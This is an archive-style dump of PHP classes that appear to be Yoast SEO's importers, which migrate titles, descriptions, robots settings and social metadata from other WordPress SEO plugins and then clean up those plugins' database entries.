'_headspace_noindex', 'new_key' => 'meta-robots-noindex', 'convert' => [ 'on' => 1 ], ], [ 'old_key' => '_headspace_nofollow', 'new_key' => 'meta-robots-nofollow', 'convert' => [ 'on' => 1 ], ], ]; } import/plugins/class-import-platinum-seo-pack.php000064400000005510147207033440016221 0ustar00 'description', 'new_key' => 'metadesc', ], [ 'old_key' => 'title', 'new_key' => 'title', ], ]; /** * Runs the import of post meta keys stored by Platinum SEO Pack. * * @return bool */ protected function import() { $return = parent::import(); if ( $return ) { $this->import_robots_meta(); } return $return; } /** * Cleans up all the meta values Platinum SEO pack creates. * * @return bool */ protected function cleanup() { $this->meta_key = 'title'; parent::cleanup(); $this->meta_key = 'description'; parent::cleanup(); $this->meta_key = 'metarobots'; parent::cleanup(); return true; } /** * Finds all the robotsmeta fields to import and deals with them. * * There are four potential values that Platinum SEO stores: * - index,folllow * - index,nofollow * - noindex,follow * - noindex,nofollow * * We only have to deal with the latter 3, the first is our default. * * @return void */ protected function import_robots_meta() { $this->import_by_meta_robots( 'index,nofollow', [ 'nofollow' ] ); $this->import_by_meta_robots( 'noindex,follow', [ 'noindex' ] ); $this->import_by_meta_robots( 'noindex,nofollow', [ 'noindex', 'nofollow' ] ); } /** * Imports the values for all index, nofollow posts. * * @param string $value The meta robots value to find posts for. * @param array $metas The meta field(s) to save. * * @return void */ protected function import_by_meta_robots( $value, $metas ) { $posts = $this->find_posts_by_robots_meta( $value ); if ( ! $posts ) { return; } foreach ( $posts as $post_id ) { foreach ( $metas as $meta ) { $this->maybe_save_post_meta( 'meta-robots-' . $meta, 1, $post_id ); } } } /** * Finds posts by a given meta robots value. * * @param string $meta_value Robots meta value. * * @return array|bool Array of Post IDs on success, false on failure. */ protected function find_posts_by_robots_meta( $meta_value ) { $posts = get_posts( [ 'post_type' => 'any', 'meta_key' => 'robotsmeta', 'meta_value' => $meta_value, 'order' => 'ASC', 'fields' => 'ids', 'nopaging' => true, ] ); if ( empty( $posts ) ) { return false; } return $posts; } } import/plugins/class-import-jetpack.php000064400000001333147207033440014310 0ustar00 'advanced_seo_description', 'new_key' => 'metadesc', ], ]; } import/plugins/class-import-wpseo.php000064400000016366147207033440014040 0ustar00 '_wpseo_edit_description', 'new_key' => 'metadesc', ], [ 'old_key' => '_wpseo_edit_title', 'new_key' => 'title', ], [ 'old_key' => '_wpseo_edit_canonical', 'new_key' => 'canonical', ], [ 'old_key' => '_wpseo_edit_og_title', 'new_key' => 'opengraph-title', ], [ 'old_key' => '_wpseo_edit_og_description', 'new_key' => 'opengraph-description', ], [ 'old_key' => '_wpseo_edit_og_image', 'new_key' => 'opengraph-image', ], [ 'old_key' => '_wpseo_edit_twittercard_title', 'new_key' => 'twitter-title', ], [ 'old_key' => '_wpseo_edit_twittercard_description', 'new_key' => 'twitter-description', ], [ 'old_key' => '_wpseo_edit_twittercard_image', 'new_key' => 'twitter-image', ], ]; /** * The values 1 - 6 are the configured values from wpSEO. This array will map the values of wpSEO to our values. * * There are some double array like 1-6 and 3-4. The reason is they only set the index value. The follow value is * the default we use in the cases there isn't a follow value present. * * @var array */ private $robot_values = [ // In wpSEO: index, follow. 1 => [ 'index' => 2, 'follow' => 0, ], // In wpSEO: index, nofollow. 2 => [ 'index' => 2, 'follow' => 1, ], // In wpSEO: noindex. 3 => [ 'index' => 1, 'follow' => 0, ], // In wpSEO: noindex, follow. 4 => [ 'index' => 1, 'follow' => 0, ], // In wpSEO: noindex, nofollow. 5 => [ 'index' => 1, 'follow' => 1, ], // In wpSEO: index. 6 => [ 'index' => 2, 'follow' => 0, ], ]; /** * Imports wpSEO settings. * * @return bool Import success status. */ protected function import() { $status = parent::import(); if ( $status ) { $this->import_post_robots(); $this->import_taxonomy_metas(); } return $status; } /** * Removes wpseo.de post meta's. * * @return bool Cleanup status. */ protected function cleanup() { $this->cleanup_term_meta(); $result = $this->cleanup_post_meta(); return $result; } /** * Detects whether there is post meta data to import. * * @return bool Boolean indicating whether there is something to import. */ protected function detect() { if ( parent::detect() ) { return true; } global $wpdb; $count = $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->options} WHERE option_name LIKE 'wpseo_category_%'" ); if ( $count !== '0' ) { return true; } return false; } /** * Imports the robot values from WPSEO plugin. These have to be converted to the Yoast format. * * @return void */ private function import_post_robots() { $query_posts = new WP_Query( 'post_type=any&meta_key=_wpseo_edit_robots&order=ASC&fields=ids&nopaging=true' ); if ( ! empty( $query_posts->posts ) ) { foreach ( array_values( $query_posts->posts ) as $post_id ) { $this->import_post_robot( $post_id ); } } } /** * Gets the wpSEO robot value and map this to Yoast SEO values. * * @param int $post_id The post id of the current post. * * @return void */ private function import_post_robot( $post_id ) { $wpseo_robots = get_post_meta( $post_id, '_wpseo_edit_robots', true ); $robot_value = $this->get_robot_value( $wpseo_robots ); // Saving the new meta values for Yoast SEO. $this->maybe_save_post_meta( 'meta-robots-noindex', $robot_value['index'], $post_id ); $this->maybe_save_post_meta( 'meta-robots-nofollow', $robot_value['follow'], $post_id ); } /** * Imports the taxonomy metas from wpSEO. * * @return void */ private function import_taxonomy_metas() { $terms = get_terms( [ 'taxonomy' => get_taxonomies(), 'hide_empty' => false, ] ); $tax_meta = get_option( 'wpseo_taxonomy_meta' ); foreach ( $terms as $term ) { $this->import_taxonomy_description( $tax_meta, $term->taxonomy, $term->term_id ); $this->import_taxonomy_robots( $tax_meta, $term->taxonomy, $term->term_id ); } update_option( 'wpseo_taxonomy_meta', $tax_meta ); } /** * Imports the meta description to Yoast SEO. * * @param array $tax_meta The array with the current metadata. * @param string $taxonomy String with the name of the taxonomy. * @param string $term_id The ID of the current term. * * @return void */ private function import_taxonomy_description( &$tax_meta, $taxonomy, $term_id ) { $description = get_option( 'wpseo_' . $taxonomy . '_' . $term_id, false ); if ( $description !== false ) { // Import description. $tax_meta[ $taxonomy ][ $term_id ]['wpseo_desc'] = $description; } } /** * Imports the robot value to Yoast SEO. * * @param array $tax_meta The array with the current metadata. * @param string $taxonomy String with the name of the taxonomy. * @param string $term_id The ID of the current term. * * @return void */ private function import_taxonomy_robots( &$tax_meta, $taxonomy, $term_id ) { $wpseo_robots = get_option( 'wpseo_' . $taxonomy . '_' . $term_id . '_robots', false ); if ( $wpseo_robots === false ) { return; } // The value 1, 2 and 6 are the index values in wpSEO. $new_robot_value = 'noindex'; if ( in_array( (int) $wpseo_robots, [ 1, 2, 6 ], true ) ) { $new_robot_value = 'index'; } $tax_meta[ $taxonomy ][ $term_id ]['wpseo_noindex'] = $new_robot_value; } /** * Deletes the wpSEO taxonomy meta data. * * @param string $taxonomy String with the name of the taxonomy. * @param string $term_id The ID of the current term. * * @return void */ private function delete_taxonomy_metas( $taxonomy, $term_id ) { delete_option( 'wpseo_' . $taxonomy . '_' . $term_id ); delete_option( 'wpseo_' . $taxonomy . '_' . $term_id . '_robots' ); } /** * Gets the robot config by given wpSEO robots value. * * @param string $wpseo_robots The value in wpSEO that needs to be converted to the Yoast format. * * @return string The correct robot value. */ private function get_robot_value( $wpseo_robots ) { if ( array_key_exists( $wpseo_robots, $this->robot_values ) ) { return $this->robot_values[ $wpseo_robots ]; } return $this->robot_values[1]; } /** * Deletes wpSEO postmeta from the database. * * @return bool Cleanup status. */ private function cleanup_post_meta() { global $wpdb; // If we get to replace the data, let's do some proper cleanup. return $wpdb->query( "DELETE FROM {$wpdb->postmeta} WHERE meta_key LIKE '_wpseo_edit_%'" ); } /** * Cleans up the wpSEO term meta. * * @return void */ private function cleanup_term_meta() { $terms = get_terms( [ 'taxonomy' => get_taxonomies(), 'hide_empty' => false, ] ); foreach ( $terms as $term ) { $this->delete_taxonomy_metas( $term->taxonomy, $term->term_id ); } } } import/plugins/class-import-rankmath.php000064400000011255147207033440014500 0ustar00 'rank_math_description', 'new_key' => 'metadesc', ], [ 'old_key' => 'rank_math_title', 'new_key' => 'title', ], [ 'old_key' => 'rank_math_canonical_url', 'new_key' => 'canonical', ], [ 'old_key' => 'rank_math_primary_category', 'new_key' => 'primary_category', ], [ 'old_key' => 'rank_math_facebook_title', 'new_key' => 'opengraph-title', ], [ 'old_key' => 'rank_math_facebook_description', 'new_key' => 'opengraph-description', ], [ 'old_key' => 'rank_math_facebook_image', 'new_key' => 'opengraph-image', ], [ 'old_key' => 'rank_math_facebook_image_id', 'new_key' => 'opengraph-image-id', ], [ 'old_key' => 'rank_math_twitter_title', 'new_key' => 'twitter-title', ], [ 'old_key' => 'rank_math_twitter_description', 'new_key' => 'twitter-description', ], [ 'old_key' => 'rank_math_twitter_image', 'new_key' => 'twitter-image', ], [ 'old_key' => 'rank_math_twitter_image_id', 'new_key' => 'twitter-image-id', ], [ 'old_key' => 'rank_math_focus_keyword', 'new_key' => 'focuskw', ], ]; /** * Handles post meta data to import. * * @return bool Import success status. */ protected function import() { global $wpdb; // Replace % with %% as their variables are the same except for that. $wpdb->query( "UPDATE $wpdb->postmeta SET meta_value = REPLACE( meta_value, '%', '%%' ) WHERE meta_key IN ( 'rank_math_description', 'rank_math_title' )" ); $this->import_meta_robots(); $return = $this->meta_keys_clone( $this->clone_keys ); // Return %% to % so our import is non-destructive. $wpdb->query( "UPDATE $wpdb->postmeta SET meta_value = REPLACE( meta_value, '%%', '%' ) WHERE meta_key IN ( 'rank_math_description', 'rank_math_title' )" ); if ( $return ) { $this->import_settings(); } return $return; } /** * RankMath stores robots meta quite differently, so we have to parse it out. * * @return void */ private function import_meta_robots() { global $wpdb; $post_metas = $wpdb->get_results( "SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = 'rank_math_robots'" ); foreach ( $post_metas as $post_meta ) { // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions -- Reason: We can't control the form in which Rankmath sends the data. $robots_values = unserialize( $post_meta->meta_value ); foreach ( [ 'noindex', 'nofollow' ] as $directive ) { $directive_key = array_search( $directive, $robots_values, true ); if ( $directive_key !== false ) { update_post_meta( $post_meta->post_id, '_yoast_wpseo_meta-robots-' . $directive, 1 ); unset( $robots_values[ $directive_key ] ); } } if ( count( $robots_values ) > 0 ) { $value = implode( ',', $robots_values ); update_post_meta( $post_meta->post_id, '_yoast_wpseo_meta-robots-adv', $value ); } } } /** * Imports some of the RankMath settings. * * @return void */ private function import_settings() { $settings = [ 'title_separator' => 'separator', 'homepage_title' => 'title-home-wpseo', 'homepage_description' => 'metadesc-home-wpseo', 'author_archive_title' => 'title-author-wpseo', 'date_archive_title' => 'title-archive-wpseo', 'search_title' => 'title-search-wpseo', '404_title' => 'title-404-wpseo', 'pt_post_title' => 'title-post', 'pt_page_title' => 'title-page', ]; $options = get_option( 'rank-math-options-titles' ); foreach ( $settings as $import_setting_key => $setting_key ) { if ( ! empty( $options[ $import_setting_key ] ) ) { $value = $options[ $import_setting_key ]; // Make sure replace vars work. $value = str_replace( '%', '%%', $value ); WPSEO_Options::set( $setting_key, $value ); } } } /** * Removes the plugin data from the database. * * @return bool Cleanup status. */ protected function cleanup() { $return = parent::cleanup(); if ( $return ) { global $wpdb; $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'rank-math-%'" ); $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE '%rank_math%'" ); } return $return; } } import/plugins/class-importers.php000064400000001634147207033440013407 0ustar00table_name = $wpdb->prefix . 'psp'; $this->meta_key = ''; } /** * Returns the query to return an identifier for the posts to import. * * @return string */ protected function retrieve_posts_query() { return "SELECT URL AS identifier FROM {$this->table_name} WHERE blog_id = %d"; } } import/plugins/class-import-seopressor.php000064400000011445147207033440015100 0ustar00 '_seop_settings', ], ]; /** * Imports the post meta values to Yoast SEO. * * @return bool Import success status. */ protected function import() { // Query for all the posts that have an _seop_settings meta set. $query_posts = new WP_Query( 'post_type=any&meta_key=_seop_settings&order=ASC&fields=ids&nopaging=true' ); foreach ( $query_posts->posts as $post_id ) { $this->import_post_focus_keywords( $post_id ); $this->import_seopressor_post_settings( $post_id ); } return true; } /** * Removes all the post meta fields SEOpressor creates. * * @return bool Cleanup status. */ protected function cleanup() { global $wpdb; // If we get to replace the data, let's do some proper cleanup. return $wpdb->query( "DELETE FROM {$wpdb->postmeta} WHERE meta_key LIKE '_seop_%'" ); } /** * Imports the data. SEOpressor stores most of the data in one post array, this loops over it. * * @param int $post_id Post ID. * * @return void */ private function import_seopressor_post_settings( $post_id ) { $settings = get_post_meta( $post_id, '_seop_settings', true ); foreach ( [ 'fb_description' => 'opengraph-description', 'fb_title' => 'opengraph-title', 'fb_type' => 'og_type', 'fb_img' => 'opengraph-image', 'meta_title' => 'title', 'meta_description' => 'metadesc', 'meta_canonical' => 'canonical', 'tw_description' => 'twitter-description', 'tw_title' => 'twitter-title', 'tw_image' => 'twitter-image', ] as $seopressor_key => $yoast_key ) { $this->import_meta_helper( $seopressor_key, $yoast_key, $settings, $post_id ); } if ( isset( $settings['meta_rules'] ) ) { $this->import_post_robots( $settings['meta_rules'], $post_id ); } } /** * Imports the focus keywords, and stores them for later use. * * @param int $post_id Post ID. * * @return void */ private function import_post_focus_keywords( $post_id ) { // Import the focus keyword. $focuskw = trim( get_post_meta( $post_id, '_seop_kw_1', true ) ); $this->maybe_save_post_meta( 'focuskw', $focuskw, $post_id ); // Import additional focus keywords for use in premium. $focuskw2 = trim( get_post_meta( $post_id, '_seop_kw_2', true ) ); $focuskw3 = trim( get_post_meta( $post_id, '_seop_kw_3', true ) ); $focus_keywords = []; if ( ! empty( $focuskw2 ) ) { $focus_keywords[] = $focuskw2; } if ( ! empty( $focuskw3 ) ) { $focus_keywords[] = $focuskw3; } if ( $focus_keywords !== [] ) { $this->maybe_save_post_meta( 'focuskeywords', WPSEO_Utils::format_json_encode( $focus_keywords ), $post_id ); } } /** * Retrieves the SEOpressor robot value and map this to Yoast SEO values. * * @param string $meta_rules The meta rules taken from the SEOpressor settings array. * @param int $post_id The post id of the current post. * * @return void */ private function import_post_robots( $meta_rules, $post_id ) { $seopressor_robots = explode( '#|#|#', $meta_rules ); $robot_value = $this->get_robot_value( $seopressor_robots ); // Saving the new meta values for Yoast SEO. $this->maybe_save_post_meta( 'meta-robots-noindex', $robot_value['index'], $post_id ); $this->maybe_save_post_meta( 'meta-robots-nofollow', $robot_value['follow'], $post_id ); $this->maybe_save_post_meta( 'meta-robots-adv', $robot_value['advanced'], $post_id ); } /** * Gets the robot config by given SEOpressor robots value. * * @param array $seopressor_robots The value in SEOpressor that needs to be converted to the Yoast format. * * @return array The robots values in Yoast format. */ private function get_robot_value( $seopressor_robots ) { $return = [ 'index' => 2, 'follow' => 0, 'advanced' => '', ]; if ( in_array( 'noindex', $seopressor_robots, true ) ) { $return['index'] = 1; } if ( in_array( 'nofollow', $seopressor_robots, true ) ) { $return['follow'] = 1; } foreach ( [ 'noarchive', 'nosnippet', 'noimageindex' ] as $needle ) { if ( in_array( $needle, $seopressor_robots, true ) ) { $return['advanced'] .= $needle . ','; } } $return['advanced'] = rtrim( $return['advanced'], ',' ); return $return; } } import/plugins/class-import-wp-meta-seo.php000064400000003056147207033440015031 0ustar00 '_metaseo_metadesc', 'new_key' => 'metadesc', ], [ 'old_key' => '_metaseo_metatitle', 'new_key' => 'title', ], [ 'old_key' => '_metaseo_metaopengraph-title', 'new_key' => 'opengraph-title', ], [ 'old_key' => '_metaseo_metaopengraph-desc', 'new_key' => 'opengraph-description', ], [ 'old_key' => '_metaseo_metaopengraph-image', 'new_key' => 'opengraph-image', ], [ 'old_key' => '_metaseo_metatwitter-title', 'new_key' => 'twitter-title', ], [ 'old_key' => '_metaseo_metatwitter-desc', 'new_key' => 'twitter-description', ], [ 'old_key' => '_metaseo_metatwitter-image', 'new_key' => 'twitter-image', ], [ 'old_key' => '_metaseo_metaindex', 'new_key' => 'meta-robots-noindex', 'convert' => [ 'index' => 0, 'noindex' => 1, ], ], [ 'old_key' => '_metaseo_metafollow', 'new_key' => 'meta-robots-nofollow', 'convert' => [ 'follow' => 0, 'nofollow' => 1, ], ], ]; } import/plugins/class-import-greg-high-performance-seo.php000064400000001371147207033440017615 0ustar00 '_ghpseo_alternative_description', 'new_key' => 'metadesc', ], [ 'old_key' => '_ghpseo_secondary_title', 'new_key' => 'title', ], ]; } import/plugins/class-import-ultimate-seo.php000064400000002262147207033440015301 0ustar00 '_su_description', 'new_key' => 'metadesc', ], [ 'old_key' => '_su_title', 'new_key' => 'title', ], [ 'old_key' => '_su_og_title', 'new_key' => 'opengraph-title', ], [ 'old_key' => '_su_og_description', 'new_key' => 'opengraph-description', ], [ 'old_key' => '_su_og_image', 'new_key' => 'opengraph-image', ], [ 'old_key' => '_su_meta_robots_noindex', 'new_key' => 'meta-robots-noindex', 'convert' => [ 'on' => 1 ], ], [ 'old_key' => '_su_meta_robots_nofollow', 'new_key' => 'meta-robots-nofollow', 'convert' => [ 'on' => 1 ], ], ]; } import/plugins/class-import-aioseo-v4.php000064400000022156147207033440014503 0ustar00 '_aioseo_title', 'new_key' => 'title', ], [ 'old_key' => '_aioseo_description', 'new_key' => 'metadesc', ], [ 'old_key' => '_aioseo_og_title', 'new_key' => 'opengraph-title', ], [ 'old_key' => '_aioseo_og_description', 'new_key' => 'opengraph-description', ], [ 'old_key' => '_aioseo_twitter_title', 'new_key' => 'twitter-title', ], [ 'old_key' => '_aioseo_twitter_description', 'new_key' => 'twitter-description', ], ]; /** * Mapping between the AiOSEO replace vars and the Yoast replace vars. * * @var array * * @see https://yoast.com/help/list-available-snippet-variables-yoast-seo/ */ protected $replace_vars = [ // They key is the AiOSEO replace var, the value is the Yoast replace var (see class-wpseo-replace-vars). '#author_first_name' => '%%author_first_name%%', '#author_last_name' => '%%author_last_name%%', '#author_name' => '%%name%%', '#categories' => '%%category%%', '#current_date' => '%%currentdate%%', '#current_day' => '%%currentday%%', '#current_month' => '%%currentmonth%%', '#current_year' => '%%currentyear%%', '#permalink' => '%%permalink%%', '#post_content' => '%%post_content%%', '#post_date' => '%%date%%', '#post_day' => '%%post_day%%', '#post_month' => '%%post_month%%', '#post_title' => '%%title%%', '#post_year' => '%%post_year%%', '#post_excerpt_only' => '%%excerpt_only%%', '#post_excerpt' => '%%excerpt%%', '#separator_sa' => '%%sep%%', '#site_title' => '%%sitename%%', '#tagline' => '%%sitedesc%%', '#taxonomy_title' => '%%category_title%%', ]; /** * Replaces the AiOSEO variables in our temporary table with Yoast variables (replace vars). * * @param array $replace_values Key value pair of values to replace with other values. This is only used in the base class but not here. * That is because this class doesn't have any `convert` keys in `$clone_keys`. * For that reason, we're overwriting the base class' `meta_key_clone_replace()` function without executing that base functionality. * * @return void */ protected function meta_key_clone_replace( $replace_values ) { global $wpdb; // At this point we're already looping through all the $clone_keys (this happens in meta_keys_clone() in the abstract class). // Now, we'll also loop through the replace_vars array, which holds the mappings between the AiOSEO variables and the Yoast variables. // We'll replace all the AiOSEO variables in the temporary table with their Yoast equivalents. foreach ( $this->replace_vars as $aioseo_variable => $yoast_variable ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: We need this query and this is done at many other places as well, for example class-import-rankmath. $wpdb->query( $wpdb->prepare( 'UPDATE tmp_meta_table SET meta_value = REPLACE( meta_value, %s, %s )', $aioseo_variable, $yoast_variable ) ); } // The AiOSEO custom fields take the form of `#custom_field-myfield`. // These should be mapped to %%cf_myfield%%. $meta_values_with_custom_fields = $this->get_meta_values_with_custom_field_or_taxonomy( $wpdb, 'custom_field' ); $unique_custom_fields = $this->get_unique_custom_fields_or_taxonomies( $meta_values_with_custom_fields, 'custom_field' ); $this->replace_custom_field_or_taxonomy_replace_vars( $unique_custom_fields, $wpdb, 'custom_field', 'cf' ); // Map `#tax_name-{tax-slug}` to `%%ct_{tax-slug}%%``. $meta_values_with_custom_taxonomies = $this->get_meta_values_with_custom_field_or_taxonomy( $wpdb, 'tax_name' ); $unique_custom_taxonomies = $this->get_unique_custom_fields_or_taxonomies( $meta_values_with_custom_taxonomies, 'tax_name' ); $this->replace_custom_field_or_taxonomy_replace_vars( $unique_custom_taxonomies, $wpdb, 'tax_name', 'ct' ); } /** * Filters out all unique custom fields/taxonomies/etc. used in an AiOSEO replace var. * * @param string[] $meta_values An array of all the meta values that * contain one or more AIOSEO custom field replace vars * (in the form `#custom_field-xyz`). * @param string $aioseo_prefix The AiOSEO prefix to use * (e.g. `custom-field` for custom fields or `tax_name` for custom taxonomies). * * @return string[] An array of all the unique custom fields/taxonomies/etc. used in the replace vars. * E.g. `xyz` in the above example. */ protected function get_unique_custom_fields_or_taxonomies( $meta_values, $aioseo_prefix ) { $unique_custom_fields_or_taxonomies = []; foreach ( $meta_values as $meta_value ) { // Find all custom field replace vars, store them in `$matches`. preg_match_all( "/#$aioseo_prefix-([\w-]+)/", $meta_value, $matches ); /* * `$matches[1]` contain the captured matches of the * first capturing group (the `([\w-]+)` in the regex above). */ $custom_fields_or_taxonomies = $matches[1]; foreach ( $custom_fields_or_taxonomies as $custom_field_or_taxonomy ) { $unique_custom_fields_or_taxonomies[ trim( $custom_field_or_taxonomy ) ] = 1; } } return array_keys( $unique_custom_fields_or_taxonomies ); } /** * Replaces every AIOSEO custom field/taxonomy/etc. replace var with the Yoast version. * * E.g. `#custom_field-xyz` becomes `%%cf_xyz%%`. * * @param string[] $unique_custom_fields_or_taxonomies An array of unique custom fields to replace the replace vars of. * @param wpdb $wpdb The WordPress database object. * @param string $aioseo_prefix The AiOSEO prefix to use * (e.g. `custom-field` for custom fields or `tax_name` for custom taxonomies). * @param string $yoast_prefix The Yoast prefix to use (e.g. `cf` for custom fields). * * @return void */ protected function replace_custom_field_or_taxonomy_replace_vars( $unique_custom_fields_or_taxonomies, $wpdb, $aioseo_prefix, $yoast_prefix ) { foreach ( $unique_custom_fields_or_taxonomies as $unique_custom_field_or_taxonomy ) { $aioseo_variable = "#{$aioseo_prefix}-{$unique_custom_field_or_taxonomy}"; $yoast_variable = "%%{$yoast_prefix}_{$unique_custom_field_or_taxonomy}%%"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->query( $wpdb->prepare( 'UPDATE tmp_meta_table SET meta_value = REPLACE( meta_value, %s, %s )', $aioseo_variable, $yoast_variable ) ); } } // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching /** * Retrieve all the meta values from the temporary meta table that contain * at least one AiOSEO custom field replace var. * * @param wpdb $wpdb The WordPress database object. * @param string $aioseo_prefix The AiOSEO prefix to use * (e.g. `custom-field` for custom fields or `tax_name` for custom taxonomies). * * @return string[] All meta values that contain at least one AioSEO custom field replace var. */ protected function get_meta_values_with_custom_field_or_taxonomy( $wpdb, $aioseo_prefix ) { return $wpdb->get_col( $wpdb->prepare( 'SELECT meta_value FROM tmp_meta_table WHERE meta_value LIKE %s', "%#$aioseo_prefix-%" ) ); } // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching /** * Detects whether there is AIOSEO data to import by looking whether the AIOSEO data have been cleaned up. * * @return bool Boolean indicating whether there is something to import. */ protected function detect() { $aioseo_cleanup_action = YoastSEO()->classes->get( Aioseo_Cleanup_Action::class ); return ( $aioseo_cleanup_action->get_total_unindexed() > 0 ); } /** * Import AIOSEO post data from their custom indexable table. Not currently used. * * @return void */ protected function import() { // This is overriden from the import.js and never run. $aioseo_posts_import_action = YoastSEO()->classes->get( Aioseo_Posts_Importing_Action::class ); $aioseo_posts_import_action->index(); } } import/plugins/class-import-woothemes-seo.php000064400000004751147207033440015474 0ustar00 'seo_description', 'new_key' => 'metadesc', ], [ 'old_key' => 'seo_title', 'new_key' => 'title', ], [ 'old_key' => 'seo_noindex', 'new_key' => 'meta-robots-noindex', ], [ 'old_key' => 'seo_follow', 'new_key' => 'meta-robots-nofollow', ], ]; /** * Holds the meta fields we can delete after import. * * @var array */ protected $cleanup_metas = [ 'seo_follow', 'seo_noindex', 'seo_title', 'seo_description', 'seo_keywords', ]; /** * Holds the options we can delete after import. * * @var array */ protected $cleanup_options = [ 'seo_woo_archive_layout', 'seo_woo_single_layout', 'seo_woo_page_layout', 'seo_woo_wp_title', 'seo_woo_meta_single_desc', 'seo_woo_meta_single_key', 'seo_woo_home_layout', ]; /** * Cleans up the WooThemes SEO settings. * * @return bool Cleanup status. */ protected function cleanup() { $result = $this->cleanup_meta(); if ( $result ) { $this->cleanup_options(); } return $result; } /** * Removes the Woo Options from the database. * * @return void */ private function cleanup_options() { foreach ( $this->cleanup_options as $option ) { delete_option( $option ); } } /** * Removes the post meta fields from the database. * * @return bool Cleanup status. */ private function cleanup_meta() { foreach ( $this->cleanup_metas as $key ) { $result = $this->cleanup_meta_key( $key ); if ( ! $result ) { return false; } } return true; } /** * Removes a single meta field from the postmeta table in the database. * * @param string $key The meta_key to delete. * * @return bool Cleanup status. */ private function cleanup_meta_key( $key ) { global $wpdb; $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->postmeta} WHERE meta_key = %s", $key ) ); return $wpdb->__get( 'result' ); } } import/plugins/class-import-seo-framework.php000064400000003464147207033440015457 0ustar00 '_genesis_description', 'new_key' => 'metadesc', ], [ 'old_key' => '_genesis_title', 'new_key' => 'title', ], [ 'old_key' => '_genesis_noindex', 'new_key' => 'meta-robots-noindex', ], [ 'old_key' => '_genesis_nofollow', 'new_key' => 'meta-robots-nofollow', ], [ 'old_key' => '_genesis_canonical_uri', 'new_key' => 'canonical', ], [ 'old_key' => '_open_graph_title', 'new_key' => 'opengraph-title', ], [ 'old_key' => '_open_graph_description', 'new_key' => 'opengraph-description', ], [ 'old_key' => '_social_image_url', 'new_key' => 'opengraph-image', ], [ 'old_key' => '_twitter_title', 'new_key' => 'twitter-title', ], [ 'old_key' => '_twitter_description', 'new_key' => 'twitter-description', ], ]; /** * Removes all the metadata set by the SEO Framework plugin. * * @return bool */ protected function cleanup() { $set1 = parent::cleanup(); $this->meta_key = '_social_image_%'; $set2 = parent::cleanup(); $this->meta_key = '_twitter_%'; $set3 = parent::cleanup(); $this->meta_key = '_open_graph_%'; $set4 = parent::cleanup(); return ( $set1 || $set2 || $set3 || $set4 ); } } import/plugins/class-import-squirrly.php000064400000012054147207033440014563 0ustar00 'meta-robots-noindex', 'nofollow' => 'meta-robots-nofollow', 'title' => 'title', 'description' => 'metadesc', 'canonical' => 'canonical', 'cornerstone' => '_yst_is_cornerstone', 'tw_media' => 'twitter-image', 'tw_title' => 'twitter-title', 'tw_description' => 'twitter-description', 'og_title' => 'opengraph-title', 'og_description' => 'opengraph-description', 'og_media' => 'opengraph-image', 'focuskw' => 'focuskw', ]; /** * WPSEO_Import_Squirrly constructor. */ public function __construct() { parent::__construct(); global $wpdb; $this->table_name = $wpdb->prefix . 'qss'; } /** * Imports the post meta values to Yoast SEO. * * @return bool Import success status. */ protected function import() { $results = $this->retrieve_posts(); foreach ( $results as $post ) { $return = $this->import_post_values( $post->identifier ); if ( ! $return ) { return false; } } return true; } /** * Retrieve the posts from the Squirrly Database. * * @return array Array of post IDs from the DB. */ protected function retrieve_posts() { global $wpdb; return $wpdb->get_results( $wpdb->prepare( $this->retrieve_posts_query(), get_current_blog_id() ) ); } /** * Returns the query to return an identifier for the posts to import. * * @return string Query to get post ID's from the DB. */ protected function retrieve_posts_query() { return "SELECT post_id AS identifier FROM {$this->table_name} WHERE blog_id = %d"; } /** * Removes the DB table and the post meta field Squirrly creates. * * @return bool Cleanup status. */ protected function cleanup() { global $wpdb; // If we can clean, let's clean. $wpdb->query( "DROP TABLE {$this->table_name}" ); // This removes the post meta field for the focus keyword from the DB. parent::cleanup(); // If we can still see the table, something went wrong. if ( $this->detect() ) { $this->cleanup_error_msg(); return false; } return true; } /** * Detects whether there is post meta data to import. * * @return bool Boolean indicating whether there is something to import. */ protected function detect() { global $wpdb; $result = $wpdb->get_var( "SHOW TABLES LIKE '{$this->table_name}'" ); if ( is_wp_error( $result ) || is_null( $result ) ) { return false; } return true; } /** * Imports the data of a post out of Squirrly's DB table. * * @param mixed $post_identifier Post identifier, can be ID or string. * * @return bool Import status. */ private function import_post_values( $post_identifier ) { $data = $this->retrieve_post_data( $post_identifier ); if ( ! $data ) { return false; } if ( ! is_numeric( $post_identifier ) ) { $post_id = url_to_postid( $post_identifier ); } if ( is_numeric( $post_identifier ) ) { $post_id = (int) $post_identifier; $data['focuskw'] = $this->maybe_add_focus_kw( $post_identifier ); } foreach ( $this->seo_field_keys as $squirrly_key => $yoast_key ) { $this->import_meta_helper( $squirrly_key, $yoast_key, $data, $post_id ); } return true; } /** * Retrieves the Squirrly SEO data for a post from the DB. * * @param int $post_identifier Post ID. * * @return array|bool Array of data or false. */ private function retrieve_post_data( $post_identifier ) { global $wpdb; if ( is_numeric( $post_identifier ) ) { $post_identifier = (int) $post_identifier; $query_where = 'post_id = %d'; } if ( ! is_numeric( $post_identifier ) ) { $query_where = 'URL = %s'; } $replacements = [ get_current_blog_id(), $post_identifier, ]; $data = $wpdb->get_var( $wpdb->prepare( "SELECT seo FROM {$this->table_name} WHERE blog_id = %d AND " . $query_where, $replacements ) ); if ( ! $data || is_wp_error( $data ) ) { return false; } $data = maybe_unserialize( $data ); return $data; } /** * Squirrly stores the focus keyword in post meta. * * @param int $post_id Post ID. * * @return string The focus keyword. */ private function maybe_add_focus_kw( $post_id ) { $focuskw = get_post_meta( $post_id, '_sq_post_keyword', true ); if ( $focuskw ) { $focuskw = json_decode( $focuskw ); return $focuskw->keyword; } return ''; } } import/plugins/class-import-aioseo.php000064400000004717147207033440014157 0ustar00 'opengraph-title', 'aioseop_opengraph_settings_desc' => 'opengraph-description', 